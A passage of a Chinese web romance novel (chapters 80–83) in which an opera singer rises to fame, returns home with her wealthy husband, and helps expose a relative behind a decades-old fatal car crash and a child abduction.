有了结婚证,傅随之那可怕的占有欲得到了一点点满足,也拥有了一点安全感,终于不再将她整日困在海边别墅,时时刻刻要跟着她。 这天清晨醒过来,林青盏没管一直纠缠的傅随之,丢下人去了月云阁。 而且钦点司机林博昶接送,不想让傅随之太得意。 林博昶将轿车停靠在月云阁门口,刚推开车门,便见云雪棠朝她走来,“小纾姐,你来了啊!” “你怎么站在门口?” “我站在这里迎接你啊。” 林青盏看她,“前两天不好意思,我有点事情,是不是让你担心了。不过你放心,我既然答应你要待一段时间,必然不会食言。” 云雪棠笑得灿烂,“小纾姐,你别多想,我就是早上起得比较早,闲着没事,真的是来门口迎接你的。” 她勾住林青盏手臂往里面走,“对了,前两天你是发生了什么事情,你那位绯闻老公亲自打电话给我妈妈请假。而且,我是听我妈说起才知道,他竟然是棠傛的儿子!这也太巧了吧。” 林青盏迟疑着,最终还是坦诚说道:“我们去领证了。” 其他的事情就不好多说。 云雪棠圆圆的眼睛瞬间瞪大,“哇,你们居然结婚了?是我错过太多了嘛,怎么突然就跳到这一步了。” 林青盏不知道怎么解释和傅随之之间所谓的“和好”,其实她也承认傅随之说的对,他们之间从来没有真正的分手过,毕竟当初是她一厢情愿说分手要离开的,重逢后傅随之也多次说起,这段感情必须继续,纠结的只有她,而她现在被傅随之说服了,结婚领证好像也不是很意外。 她三言两语和云雪棠说明,“所以我们现在还没有公开的打算。” 云雪棠笑着点头,“这样也可以啊。当做是你老公的视察期,要好好观察下他是不是真的如此爱你,才能让他彻底上位!这是我看那么多总裁小说的经验之谈!” “……”- 林青盏回到月云阁上班,随着演出票预定的升高,她的演出场次从一天一场,逐渐变成两天一场,后来夜间又增加了一场。 短短一个月的时间,月云阁就打开了知名度,连带着林青盏的私人账号关注度都超过了三百万。 这点是林青盏万万没有想到的,林青盏忍不住感慨,既然宣传之路如此顺利,之前就应该尽早开始,月云阁才不会萧条下来。 云雪棠笑了笑,“小纾姐,这件事也没有你想象中这么简单。你这粉丝关注度都是实打实的真粉,如果不是你带动,你真以为靠宣传,月云阁的名声能起来么?这件事的最主要因素是你长得美若天仙,嗓子又太美了,光是那些小片段就让网友们流连忘返,所以他们才甘愿花钱来月云阁听曲。” 林青盏半分懵懂,她觉得自己只不过是在好好地唱曲罢了。 “对了,林青盏姐,前两天海城协会那边说和电视台联合举办了个节目,想请你过去参加。你看可以吗?” 之前在望月台,她参加过协会的活动,也参与过节目录制,对于那些流程和表演并不陌生和恐惧。 林青盏点头,“只要你觉得对月云阁有利,我自然可以参加。” “太好了。”云雪棠笑嘻嘻,“其实帮助月云阁的同时,我也希望你这么美的嗓音能让更多人听到,也算是一种非遗文化的宣传。” “那辛苦我们云小姐了。” 海城电视台那边的节目安排很快发了过来,林青盏全力配合云雪棠。 云雪棠带着林青盏去了电视台一趟,和台里的总导演和总监制好好谈了谈,发现这两人都是戏曲爱好者,办《优曲》这个节目,单纯是为了宣传非遗文化,让更多人来了解中国曲艺的博大精深。 与同频人的合拍交谈,总是能碰撞出巨大的火花。 林青盏很快坚定了决心,要好好地完成这次的节目录制。 因为属于小众文化,台里没有倾向太多资源,连赞助都是导演和监制自己去拉的,不算富裕,所以导演只排了三期的节目录制。 林青盏功底强,唱起来没有半点费力,录制特别顺利,还认识了同来参加节目的青州女孩,弥月。 弥月是个孤儿,被青州乡野的一位老艺术家弥乐收养,小时候就跟着弥乐四处唱曲儿赚钱,嗓音很特别好听,什么曲子都能掌控拿捏。 在录制的时候,云雪棠和弥月聊过,知道她爷爷去世后,她也一直在四处卖艺,立马跟她提及让她来当云月阁的当家花旦。 弥月欣然答应。 云雪棠二话不说,叫来荣溪月和弥月签下合同,报酬高得让林青盏都震惊。 云雪棠跟她解释,“我虽然不会唱曲,但我从小耳濡目染,听总是会的。这两期节目,我跟着你一起录制,耳朵听得清清楚楚,她虽然唱得没你好,但算个第二是绰绰有余的。” 这点林青盏很是赞同。 “她唱功好,人也长得好看,典型的花旦脸。这个节目播出后,恐怕就会小有名气。到时候来争抢的人就多了,我现在不赶紧把人签下来,以后就得付出更大的代价去谈。而且——” “嗯?” “而且我们月云阁是想走长久之路的,弥月这种性情,念恩还能吃苦,她一定能和月云阁相伴相生,彻底撑起来。” 林青盏点头,“小雪看人一向很准。” “那是当然,不然我怎么会看中小纾姐你呢。只是你以后要回望月台,不然我都想把你签下来,未来的优曲冠军。” “谢谢你啊!这么看得起我!” 云雪棠看人眼光确实很好,林青盏没有意外成为了《优曲》的冠军。 令人没想到的是,《优曲》这么一个低调的非遗文化节目,居然成了台里当月的收视黑马,直接冲上第一。 不只是圈内,林青盏在网上的名气暴涨,成了出圈的角儿。 因为第一名和第二名都是云月阁的人,连带着云月阁也跟着出圈。 短短三个月内,云月阁从无人问津到一票难求,别说林青盏,云雪棠和荣溪月也是没想到的。 林青盏多少有些猜测,是不是傅随之在背后推波助澜,不然事情为何会这么顺利。 这天晚上,林青盏窝在沙发里刷网上的消息,傅随之刚巧结束工作回来,走到她身旁坐下。 修长手臂伸过来要将她揽入怀中,却被林青盏用双手抵着胸膛推开,就是不让他抱。 林青盏戳了戳他胸口,“我问你噢,节目收视第一,是不是出自你之手?” “林小姐这么不自信,自己的节目爆火,功劳都要挂到我身上。” “……” 林青盏发现上位没多久,这个男人本质再次暴露出来了,说话就喜欢这种阴阴的风格。 她娇嗔瞪他。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-85 第81章 宽阔的卧室里。 环形落地窗明亮干净,白色月光洒落进来,衬得房间里柔光舒适。 傅随之悠然靠在真皮床头,白色浴袍微微敞开,露出结实的胸膛,他没有半分知觉,目光始终落在林青盏身上。 她身上穿着同色系的浴袍,乌黑长发垂落下来,一双明亮眼眸瞪着傅随之,娇嗔中透着一股灵动。 傅随之先投降,将她揽入怀中,吻了吻她的额头。 “那位云小姐对你和月云阁的宣传很到位,我不过是随意加了把火,提了网上舆论的热度。至于收视第一,这完全是节目组和你们的功劳,我不敢独揽。” 林青盏半信半疑。 傅随之修长手臂勾住她的腰,嘴唇蹭着她白皙皮肤往下,“小纾,现在戏曲其实不算特别小众的文化,很多人都很喜欢,只是对于这类文化的宣传没有很全面。更何况好的嗓音谁都喜欢,你的技巧也很成熟,节目里的表演几乎是视听盛宴。” 他手掌贴着柔软的香槟色睡裙往下,轻易挑开珍珠纽扣,揉到那细腻的白皙。 “现代人和以往不同,习惯了短视频的方式,云小姐将你的精彩表演剪辑成短视频,多平台同时上传播放 ,想不火都难。” 林青盏抓住他的手指,“你现在净会说好听的。” 他嘴唇贴着她白皙肩膀流连,“说得动听,是不是能有奖励?” 自从两人领证复合后,在这件事上,傅随之就不再克制,每日都欲.望满满地对她发出邀请。 但林青盏也不是每次都会满足他,全凭她心情。 傅随之亲吻着她的脖颈,声音低沉中透着一股沙哑,“傅太太知不知道.禁.欲太久对身体不好?” 这人在床榻之上说话向来直白,林青盏耳廓被他热气惹红,“谁管你身体好不好。” 更何况他这一看就不像是身体不好的。 他低笑了声,捏着她下巴将她的脸掰过来,另一只手掌捧住,“我是说你。” 他贴着她耳廓轻声呢喃了句,气得林青盏对他肩膀捶打下去,“你就知道说这些荤话。” 傅随之兴致更甚,扶着她的腰让她半起身,手掌沿着柔顺裙摆往里面探,很快勾住真丝布料,为她解开束缚。 林青盏炙热手掌搭在他肩膀,手指慢慢缩紧,几乎要抠进他的肌肤里。 兴趣上来,他与她面对面相拥,低着额头让她垂眸,她将羞红脸蛋埋在他颈窝怎么都不愿意抬起。 傅随之喉咙间溢着低沉的音,温热嘴唇去贴她的耳垂,惹得她身体一颤,他深呼吸去紧紧拥住她- 借着《优曲》,林青盏突然在曲艺圈大火,众人始料未及。 随着知名度上去,月云阁涌入更多的客人,网上也开始出现关于扒林青盏的各种帖子。 有说林青盏不只是嗓音好脸蛋好,演技在线,唱腔掌控得炉火纯青,听着至少有十几年的功底,恐怕从小就开始学昆曲。 有说林青盏这种小戏楼出来的,能够参加电视台节目录制,本身就很玄乎,还能短时间内如此火爆,恐怕背后有金主在推波助澜。 更有人说她是豪门世家的千金,从小有名师教授,那位名师也就是月云阁的阁主,曾经的京圈四小花旦荣溪月。能有这样的老师教授,想不火也难。 …… 无论网上有多少声音,不可否认的是,林青盏之后的每一场表演都座无虚席,甚至吸引了一大波真爱粉,经常到月云阁来打卡,给月云阁引开了很多热度。 林青盏也借此将弥月推到大众面前,渐渐的,让她独挑大梁,短期内将她推到花旦的位置,让她能依靠自己的实力来吸引观众。 事情比想象中得还要顺利,林青盏完成了云雪棠的嘱托,一时间不知道自己何去何从。 她坐在车后座,脑袋抵着玻璃,望向不停往后闪退的霓虹,手指紧握着手机贴在白皙脸蛋。 电话彼端的顾蝉听了说道:“海城的事情办完了,当然就是要回来浮城啊。难道你还打算一直待在海城不回来吗?” “回是要回的,只是——” 她总觉得有些事情还没有个定数,而且近乡情怯在此刻有了最深刻的感受。 顾蝉知道她需要时间,“反正我要你知道,浮城永远有人在等你回来。不管你是林青盏还是林青盏。” “好。” 顾蝉不想她情绪压抑,开玩笑似的说:“你知道浮城这边已经有你和傅随之的绯闻了。” “嗯?” “很多事情,外人不知道,引发更多猜测,那些传闻真是不要太搞笑。” 当时林青盏出车祸的事情被傅随之压下来后,反倒是惹得众人更加好奇。 林青盏是不是真的在车祸里走了,有很长一段时间,这个话题一直在浮城豪门圈被提及。 聊得多了,很多人都有些肆无忌惮,之前还有人激情聊到傅随之跟前,“林青盏真的不在了吧?”这话被傅随之听到,他瞬间变了脸,胡乱发了一通脾气,下令不准任何人说林青盏去世这种恶言。 本意是不想让这种假新闻继续传出,因为他处理方式太疯癫,竟让人觉得,林青盏肯定已经死了! 往外传的人就说,林青盏再怎么受傅随之看重养在身边有什么用,到死了,傅随之连提都不准别人提及,甚至不愿意为她立个墓碑。 说林青盏真是不值得,当初没名没分跟着傅随之,到死了都不能让傅随之刮目相看。 这种绯闻传得越演越烈,到最近,有人看到傅随之在海城捧林青盏的场,又说林青盏和林青盏很像,就说傅随之是林青盏背后的金主,说林青盏死了之后,傅随之很快找了个替身,依旧潇洒自由。 林青盏一时间不知道该说什么。 她就这么不明不白地成了自己的替身。 顾蝉说:“那些人说的再多,你回来那天,传闻自会打破。” 这点林青盏自然知道,她也没那个心思装自己的替身。 犹豫片刻,顾蝉说道:“傅随之为了迎接你回来,做了很多准备,听我哥说最近在修缮他原来定下的那套老宅,要当你们的婚房。而且……他好像准备了很多,要一次扳倒傅清檐。小盏宝贝,可以回来了。” 林青盏:“我也是该好好准备了。” 这几日,傅随之有工作要去京圈出差一趟,留下林博昶给林青盏当司机。 林博昶这人性格活泼,幽默风趣,说话妙趣横生,林青盏倒是不觉得无聊。 只是她今日心情有些沉,林博昶说了几个笑话,她都没心思回应,林博昶便识趣没有再开口。 轿车往海边别墅行驶而去时,林青盏突然接到林博蘅电话,说有事和她说,让她先回月亮街一趟。 前段时间,林博蘅之前联系的设计师来和林青盏谈过重新装修的方案,林青盏以为是定下的装修方案有什么问题,二话不说让林博昶调转方向往白色别墅的方向行驶而去。 车停靠在小院门外,林青盏推开车门走过去,看到林博蘅站在小院里,转身朝她望过来。 林青盏感觉他神色不太对,疾步走过去,忽见院子里一片狼藉,是装修工人刚将院里的花坛拆掉,正在挖泥土,不知道什么情况全都停工候着。 她转而看向林博蘅,“博蘅哥,怎么了?” 林博蘅解释:“设计方案里,院子里是要重新铺设,今天监工联系工人过来拆除,在花坛底下发现了些东西。” “什么东西?”林青盏不明所以。 林博蘅深深看着她,“应该是所有人都在找的那个东西。” 是林峰平藏着的那份证据。 林青盏反应过来,豁然抬眸看向他,眼神闪烁了下。 她没有想到,这个东西真的存在?- 傅随之刚坐上飞机,接到林博昶的消息,「三爷,今天夫人好像不太高兴!而且,刚刚我哥给她打电话,她好像要去找我哥!」 看到这话,傅随之脸色随即沉下来。 又去找那个男人? 因为这消息,飞机落地后,他马不停蹄走出机场,上了路边的迈巴赫,让司机往月亮街开去。 车刚停靠在路边,傅随之就看到林青盏和林博蘅站在小院里,两人情绪都不太热烈,林青盏垂眸望着地上,脸色是苍白的。 傅 随之疾步走进去,原是想将林青盏拽到自己这边,抓住她手腕时,目光扫过,看到放在地上的铁皮盒子,忽然明白了什么。 他温柔牵住林青盏的手腕,“有什么事到隔壁去说。” 小院子今天刚有工人过来拆除原来的装修,一片狼藉,满是灰尘,不是说话的好地方。 四人转而去了白色别墅。 林博蘅心情平静,他为众人泡了壶茶。 林博昶经手,将铁盒子里面的东西全部拿出来,里面东西还不少。 有个录音笔、手机、硬盘,还有张银行卡,以及一本笔记本。 林峰平是存了心思想将所有证据保留,留了录音笔不够,还将录音拷贝在硬盘里。老式手机已经打不开,但是那个笔记本里记录得特别详细。 林峰平跟着傅清庭做事很久,傅清庭对他一向很照顾,知道他妻子生病,给了他一大笔钱让他们治病。 傅清檐找过来以他妻子要挟的时候,林峰平第一时间将事情告诉傅清庭。 是傅清庭让他将计就计,先收下那笔钱,拖延时间,看看傅清檐会让他做什么。 傅清檐原本是让林峰平以命换命,制造成疲劳驾驶,在途中故意出车祸,和傅清庭一起去死。 提前知道消息,傅清庭和林峰平也提前做好了万全准备,车辆都检查过,以为万无一失,确保车祸不会发生。 可是他没有想到路边的货车会撞过来,当场要了傅清庭和陈挽的命。 林峰平躺在地上头破血流,感觉自己也快死了。 晕倒之前,他看到傅清檐出现在现场,和那个货车司机交谈。 傅清檐太恨傅清庭了,以至于要亲眼看着他死去。 林峰平趁机拿手机拍摄下来。 他好像是晕过去了,只是脑袋里始终有个声音让他必须醒来,他很快清醒过来,看到货车司机已经不见了。 现场一片狼藉,两辆车被转成废铁,硝烟漫天,两死一伤 他很害怕,知道傅清檐是要让他当替死鬼,不敢停留直接跑了。 他和妻子连夜躲到海城去,很快发现傅清檐和棠家傅家都在找他。 他故意往傅清檐那里发了一个视频小片段,告诉傅清檐,如果他进去或者死了,他拍下的所有视频会立刻传送给警.方,没想到当真镇住了傅清檐。 …… 四人坐在客厅的茶桌四周,桌面放着手机,正在和贺兰承通话,他也听到了林博昶念的内容,心情和林青盏一样沉重。 最终,是林青盏开了口,“你们手里的证据,和这些,足够了吗?” 傅随之捏住她的手掌,深深望着她,“足够。” “那我们回去吧。”林青盏眼神笃定,“时隔二十四年,我们要让他付出应有的代价。” “好。” 傅随之带着林青盏回了一趟海边别墅,是想让众人收拾一番,一起回浮城。 傅小灵和傅小敏在房里收拾她的衣物。 林青盏坐在玻璃窗前,手里捧着书,随手翻阅了下,发现里面夹着的信。 是前不久林博蘅转达那封傅随之给她的海棠花信封,里面有一封三折叠的信纸,信纸里包着风干的海棠花,透出淡淡的香味。 信纸上的字苍劲有力,一看就是出自傅随之手笔。 「海棠花开,待你归来。」 真的要回去了。 傅随之让秦楠和傅慎做好准备,带着林青盏上了车。 她安然依靠在他怀里,没有注意到傅随之安排了五十二辆豪车,一路从海城到浮城,万众瞩目。 浮城是古风城市,道路两旁满是古韵建筑,有些明显标志的豪车一路行驶进去。 林青盏抬眸望着车窗外,忽而被外面的风景吸引。 伫立着城市玩偶的路旁,海棠花遍地都是,随着秋风送来海棠花香。 她定睛一看,发现整个城市都种着海棠花,不只是艳丽的秋海棠,还有木瓜海棠、西府海棠、垂丝海棠…… 他们好像走进了海棠花的梦幻世界里。 林青盏转身看向傅随之,“这些海棠花有些都还未到开花时节。” “不重要,我要它们都为你绽放。”傅随之捏着她脖颈,凑过去吻了吻她的额头,“海棠花开,迎你归来。” 我的爱—— 作者有话说:以最隆重之礼迎接林青盏回归浮城。 [红心][红心][红心][红心][红心] 第82章 五十二辆豪车从浮城高速路口往下直冲城市中心时,电视台就利用无人机进行了现场转报道。 电视主持人望着画面露出了羡慕的眼神,仍旧保持着主持人的专业素养,对这则消息进行播报。 “今早,五十二辆豪车从城市路口穿梭而过,引起了众人的瞩目。我台记者陈立从前方发回报道,这些车都是傅氏集团总裁傅随之名下,他如此隆重回城,是因为他将他最心爱的姑娘迎接回浮城。 这位备受宠爱的姑娘我们并不陌生,她是当今备受欢迎的昆曲演员林青盏。 据傅总私人助理给我们传递的可靠消息,傅总和林青盏小姐真心相爱,不日将会完婚。希望我们能有幸去见证他们的幸福。” 这则报道很快传回傅府,傅怀瑾和沈家蓉直接跳起来。 “那个女人当真没有死?” 沈家蓉眼中满是恨,“这个女人还真是纠缠不休,都消失一年还能让她继续缠上!” 这两年,傅随之手里握着很多项目,不仅和京都周氏攀上,还和荣家那边联系密切,身价暴涨,连带着傅氏集团也被他掌控在手里。 他大刀阔斧进行公司改革,不仅把傅清檐的人清理干净,更是将傅怀瑾的势力都“发配边疆”,更有一些人倒戈成了傅随之的人。 现在傅怀锦的话不再作数,谁都拿傅随之没办法。 傅怀瑾这两年身体越发不好,已经有些力不从心,“随他去吧。” “你当真就甘愿这样放之任之。”沈家蓉用犀利眼神望着他,“他这样越过我们,大张旗鼓宣布喜讯,压根就没将我们放在眼里。亏得我们苦心教育他,他当真是半点不念我们的好。偏要和我们作对啊!” 当年傅清庭去世,傅怀瑾悲痛万分,想着傅清庭就这么一个孩子,断然不能再出事情。 他表面对傅随之极其冷漠,教她作无情之人,不想让傅清檐心生不满对他下手,再者也不想让他成为第二个和善的傅清庭,随人拿捏,最后落了个死于非命的下场。 他的教育很成功,现在傅随之连他都不放在眼里,真不知道是可喜还是可悲。 沈家蓉不愿让傅随之这样狂妄下去,叫来族长,让族长以家族之命将傅随之叫过来,倒是要让他跟整个家族的人好好解释解释- 傅随之压根不在意他们的想法,带着林青盏一路回到当初从纪时礼手里夺过来的那座宅院。 限量款迈巴赫在老宅门口停下,秦楠和傅慎为他们打开车门,林青盏脚踩着高跟鞋下了车。 她抬起眼眸,看到宏伟老宅上挂着“之青府”的牌匾。 傅随之绕过来,握住她的手掌。林青盏回身看向他,心底的情绪翻涌,很是复杂。 面对她时,傅随之的清冷才会卸下,眼眸里蕴着温柔,“我们回家。” 林青盏点头,跟着他迈入之青府。 这座府邸和傅氏老宅相比,小了些,但对于常人家庭已经算是极为豪华,装修也不是完全的古风,是偏新中式的装潢。 四方院子白墙黛瓦,回廊挂满了海棠花灯笼,蜿蜒通向幽深处,又是另一座小院子。 傅随之让傅慎在这里弄了个小海棠苑,是林青盏和他的住处。 两人迈步走进去,站在廊里,望着假山外的池沼,看到几尾锦鲤在睡莲叶间嬉戏,心情难得平静。 他们两人都不是善于表达情感的,只感受着这种平淡的相处就会觉得很幸福。 秦楠和傅小敏将茶盘端到凉亭里,为他们沏上一壶茶。 “昨天我妈刚做的海盐黑米芡实糕,知道夫人不喜欢太甜腻,特意少放了糖,吃起来很香。” 林青盏松开傅随之的手,转身走入凉亭里,刚想尝尝,目光移动,看到里面摆放的那张摇摇椅。 忽而有些画面闪过。 这不是当初在古城院子里,他们以天为被爱爱的那张摇摇椅吗?! 林青盏转身看傅随之。 这怎么也搬过来了?! 当事者气定神闲,他走到圆桌旁坐下,长手臂勾着她的腰,将她抱过来坐在他腿上。 “这是李婶按你的喜好做的,先尝尝?” 他拿起海盐黑米芡实糕,递到她唇边,她要伸手过来接,他却不让,让她就着他的手吃了两口。 松软的黑米在唇齿间化开,有着很细腻的香甜。 林青盏用力点头,“很好吃。” “好吃就多吃点。” 傅随之将芡实糕往前递,随她咬了一口。 林青盏吃了半块,抬眸看他,“你不吃吗?” 傅随之只摇头。 “你不喜欢甜食,不过这不是很甜。” 对于吃食,傅随之其实并不讲究,但他也有不喜欢的东西,比如这种糕点类的,不只是甜腻,还有太浓重的香味,他不太喜欢。 林青盏没管他,接过他手里的芡实糕咬了一口,“我们回来了,接下来呢?” 傅随之凝神望着她,“既然东西齐全了,那该做个了解了。等这件事尘埃落定后,我们就结婚。” 林青盏哼了声,“你现在倒是想娶我了,那也要问我答不答应。” 傅随之宽厚手掌扶着她腰肢,低头凑过来,声音不自觉压低了些许,“自然是要问你的。不,是请求。” 林青盏抿唇笑出声,将指尖剩下的那一口芡实糕塞进他嘴里,他被迫吃了这甜腻松软的糕点。 “好吃吗?” 傅随之跟着笑,“老婆喂的自然是不错。下次建议用嘴喂。” “你想得倒是挺美的。” 林青盏将白皙指尖沾染的那点糕点屑擦掉,“我哥现在是贺氏集团总裁,真实身份是不便透露的。而我的身份若是曝光,之后与他联系亲切,很难说会不会被抓住把柄。我是希望在后面的处理过程中,不要牵扯到我和他。” 贺兰承在贺家十几年,都是以贺老之子的身份生活着,才得以接管贺氏。他刚上位一年,根基不稳,贺老的那些儿子各个都不是善茬,专门盯着他,想将他扳倒。 这时候如果浮城这边的事情传出,恐怕会对他不利。 林青盏想保护好贺兰承,让他以贺兰承的身份好好活着。 傅随之自然尊重她。 这边刚在准备要找傅清檐算账,傅氏老宅那边就传来了消息,让傅随之务必回去一趟。 传话的人被拒之门外,是傅慎进来转达。 林青盏从傅随之腿上下来,“既是如此,那你去处理那件事。我现在想去望月台一趟。” “好。” 既然林青盏和贺兰承的身份不想曝光,那傅随之处理这件事时,林青盏最好不要跟着。傅随之也不想让她看到太过血腥的画面。 林青盏上了林博昶的车,傅小敏和傅小灵始终陪同左右,傅随之等她们离开,才出声嘱咐:“跟小敏说,以她安全为主。” “好的,明白。”秦楠给傅小敏私下发了消息,再抬起头,问:“三爷,我们出发吗?” “可以。” 傅随之缓慢站起身,转身回卧室换了身衣服出来。 量身剪裁的西服和浓墨黑色衬衫,瞬间淹没他在她面前才会露出的温柔,叫他变回那个狠戾毒辣的傅三爷。 他气势沉稳往外走去,秦楠和傅慎紧跟上。 黑色厚重的迈巴赫停靠在傅氏老宅大门口,秦楠过来为他打开车门,傅随之神色阴沉下了车。 他五官过于精致,眉宇深刻,眼眸里透着危险,犹如鹰隼般气势傲然凶猛迈步走进去。 族中的人都等候在宗堂院子里,私下议论着这几日的传闻。 早前就听说傅随之丢下公司总部的事务,跑到海城去不知道做什么,这几个月开会从来没见到真人的,所有的事情都是由秘书部在处理,甚至连电话都无法联系上。 傅氏集团的董事们原本就议论纷纷,后来从新闻里看到傅随之去《优曲》现场观看林青盏的表演,以及紧接着曝光出的金主传闻,说林青盏这种爆火的演员必然是有人在撑腰,而傅随之恰恰就是她背后的金主。 这些传闻上不得台面,只在娱乐小报和网络上流传,对傅氏集团倒是没造成什么影响,但族中的人颇有微言。 没想到今天电视台又直接爆出傅随之和林青盏要结婚的消息! 在浮城,若是没有傅随之点头,电视台是不可能胡乱进行这样的报道,也就是说傅随之决定要和林青盏结婚,已经公诸于众,但是傅氏的人却不知道。 这群人惯来爱找存在感,自然是要来问一问。 门口传来脚步声,议论声戛然而止。 在场的人都转身望过去,看到傅随之在傅慎和秦楠的簇拥下走进来,身后还跟着许久未出面的棠严峻。 棠严峻刘海有些长,垂落下来,莫名带着一股颓废感。 他脸色阴沉,那双眼眸阴狠毒辣,周身都透着危险的信号。 院子里的人全部静下声,没有人敢再说话。 傅随之抬眸看了眼坐在屋檐下的傅怀锦和沈家蓉,并未在意。 秦楠和傅慎往他们旁边搬过来一张厚重木椅,傅随之走过去落了座,目光看向站在一旁的傅清檐。 半年前,傅清檐被傅随之从傅氏赶出去后,连带着他的好几家公司都遭了殃,被查账不说,财务都抓走了好几个,最近傅清檐老实许多。 但被傅随之这么一整,他的和善表面再也维持不下去,现在看到傅随之眼中满是阴恻恻的怨恨。 傅随之压根没将他放在眼底。 族长走上前来,刚想开口,却被站出来的棠严峻阻止。 棠严峻虽然姓棠不姓傅,但他从年少时跟着傅清庭,后来跟了傅随之,始终备受重用,其他人再不满,也不敢当面说出口。 棠严峻率先开口,“本来就有一件大事要宣布,既然今天众人都在,那再合适不过了。” 众人看向傅随之,以为他要当众宣布婚讯,心底还等着找茬,没想棠严峻突然丢出一句:“大家都知道,傅于然小姐幼年失踪,傅氏血脉流落在外,家主心中不舍不甘,一直在找寻二小姐的消息。皇天不负有心人,现在傅于然小姐找到了!” 傅于然找到了? 众人震惊,傅清檐豁然抬起头。 坐在傅随之旁边的傅怀锦转身看着傅随之,双瞳睁大,“小于然找到了?” 这件事他挂念了二十四年,现在终于是有结果了!—— 作者有话说:前面的多章节修改,是修改了下名字。 重逢后女主用的名字描写是林纾,但越写越觉得有点割裂,所以还是换回林青盏这个名字- 情节过渡下,就都是甜甜的日常啦。 其实我不是很善于流水日常,但最近准备《肆无忌惮》还挺有感觉的! 后面开文顺序:《肆无忌惮》-《有港诱甜》-《掌上蝴蝶》 第83章 傅清庭是傅怀瑾最疼爱的儿子。 即便傅清庭太过温柔和善,还不接受傅怀瑾为他铺设的道路,拒绝他安排的联姻,傅怀瑾还是将毕生的经商之谈告诉傅清庭,准备让傅清庭继承家业。 可是没有想到他年纪轻轻就出车祸死了,他的女儿还是在傅怀瑾生日寿宴上失踪。 这一直是傅怀瑾的心结。 不只是傅随之想找到傅于然,傅怀瑾也一直想找到她,不然总觉得自己没气了去地下见到傅清庭,都不好和他交代。 这么多年了,现在傅随之终于找到了她。 傅怀瑾紧紧拽住傅随之的手臂,眼中满是期许,“小于然真的找到了?” 傅随之看他一眼,点了点头。 傅怀瑾胸口的那股气瞬间落下去,肩膀像是彻底没了支撑,整个人都显得很无力。 傅随之望着他,情绪复杂。 片刻后,他看向棠严峻,示意继续。 棠严峻:“在找到傅于然小姐的同时,关于当年的事情,我们也调查到了真相。当初傅于然小姐是在老爷的寿宴上被带走的,傅氏老宅深严,外人断然不可能如此无声无息地把人带走。所以家主敢断言,这件事必然是老宅里的人做的。” 此话一落,众人抬眸,心底哗然。 其实这么简单的道理,所有人都知道。 但这件事非同小可,不是能随意说说的,只要有人敢提出, 必然要拿出证据,不然就是挑拨族人之间的关系,很容易背起污蔑他人的罪证。 傅随之敢当众这么说起,在场的人都知道,他必然是调查到了什么,都屏住呼吸望向棠严峻。 棠严峻的长刘海遮挡着眼角,却盖不住他眼底的阴狠。 他紧紧盯着傅清檐,说道:“我们追着傅于然小姐查到了临城,发现傅于然小姐当初被带走后,很快带到了孤儿院,那座孤儿院背后的掌控人是符家一脉的符裕河!” 一听这话,符家现在管事的符栋随即跳起来,“棠严峻你不要胡说八道,你一个外姓人,来污蔑我们傅氏的旁支,你最好要想想清楚!” 棠严峻冷笑,“是不是污蔑,待会众人自会有分晓!还有,我今天代表的是曾经死去的继承人傅清庭和棠傛夫人,以及现在坐在这里的傅氏家主!” 他指着傅随之,气愤填膺,“我的话不可信,但家主的威严可还在?!” 对上傅随之那危险的眼眸,符栋立马不敢说话。 棠严峻冷笑,“我们又从孤儿院开始调查,查到符裕河背后的那位在傅家地位不浅,他们手里掌控了百来家孤儿院,以收养孤儿的名义进行儿童拐卖,收敛钱财,简直丧尽天良! 更可恶的是,这位傅家人策划了一场天大的阴谋,让人将当年的未来家主傅清庭撞死,害得傅清庭一脉家破人亡,只剩下可怜的孤儿寡母还不够,他还联合内院的人,将傅清庭的女儿抓走丢在孤儿院,这二十多年来受尽苦难。你们说这个人该不该死?” 族长看了傅清檐一眼,开口说道:“棠严峻,你讲得如此义愤填膺慷慨陈词没用,你既然要指认凶手,那你就拿出证据。” “证据,当然有。”棠严峻恶狠狠看着族长,“人证,物证,我们都带来了!” 话音一落,傅随之的人将符裕河带了过来,让他跪在傅随之面前。 棠严峻冷眼看他,“符裕河,今天傅家上上下下的人都在,你自己亲口说,当年傅于然小姐是不是你带走的?” 符裕河长相很怪异,略带凶狠,又有点猥琐。 他抬头看向傅随之,见傅随之坐在木椅上,八风不动,心底不甘不愿,但他拿傅随之没办法。 他一生做尽坏事,只留下一个女儿,现在女儿在傅随之手里,他不得不服从。 符裕河看向傅清檐和符栋,最终缓缓开口,“谁人都知道,我是傅清檐傅二爷的人。” 傅清檐冷眼看过来,符裕河继续说道:“当年我还年少,只想着在他跟前表忠心,他让我在老爷子寿宴当晚去荣华苑,将傅于然带走,我听话照做了!” 傅清檐冷笑,恶狠狠盯着符裕河,没有开口争辩。 反倒是符栋指着他呵斥,“你这个不孝子,不要胡说八道。荣华苑那是什么地方,是你能去的!你难道还想说是里头的人让你把孩子带走的?!” 符裕河破罐子破摔,“当年,我确实是去荣华苑带走了傅于然,将她交给我的是老夫人!” 沈家蓉冷色发白,指着他恶毒咒骂,“你不要血口喷人!” 符裕河阴冷发笑,“我早知道你们会让我当替死狗,傅清檐打电话给我的时候,我都有录音,一字一句非常清楚,都是他的嘱托。而且,当年傅于然被带走的时候,因为哭闹拽走了老夫人身上一样东西,老夫人还记得吗?” 沈家蓉脸色当即变了。 符裕河继续说道:“她拽走的是你沈家当年给你陪嫁的古董玉观音,据说价值上亿,只此一块。这么珍贵的东西,我恐怕也不能轻易拿到,可是我在傅于然手里看到了。” 棠严峻从符裕河西装口袋里掏出那块玉观音,族中几位懂古玩鉴赏的老者一看就知道是真的。 棠严峻看向傅清檐,“二爷,你不说点什么?” 傅清檐冷笑不语。 “傅于然小姐是你指使带走的,这件事不假,你也无法否认!那我们来说说傅清庭被害车祸生亡的事情。当年你买通了傅清庭的司机林峰平,想让他替你制造车祸,但是林峰平没有被你收买,你就找了一个在逃通缉犯,叫他去干了这件事。 你肯定很恨傅清庭,叫人去撞死他不成,还要亲自去现场看到他死了,你才安心。” 这话一出,傅清檐脸色彻底白了,像是一张破碎的白纸,就要支撑不住。 他身体往后倒,是傅鸿源和傅鸿浠撑住了他。 棠严峻走到他面前,眼神越发的狠,像是猎鹰恨不得将傅清檐撕碎。 “傅清檐,你肯定没想到,你布下一场长达二十七年的局,最后是毁在自己手里!当时在现场的林峰平昏迷前拍下了你和那个凶手的对话视频,一字一句清清楚楚,你就是傅清庭车祸身亡背后的操控者,你是真正的凶手!你注定要被枪毙!你会死地痛苦不堪!等你死了,到了那边,我姐夫和姐姐也一定不会放过你!” 他越说越激动,眼眸里满是报仇雪恨的痛快感和狂喜,近乎疯癫。 傅随之让傅慎将棠严峻拉回来。 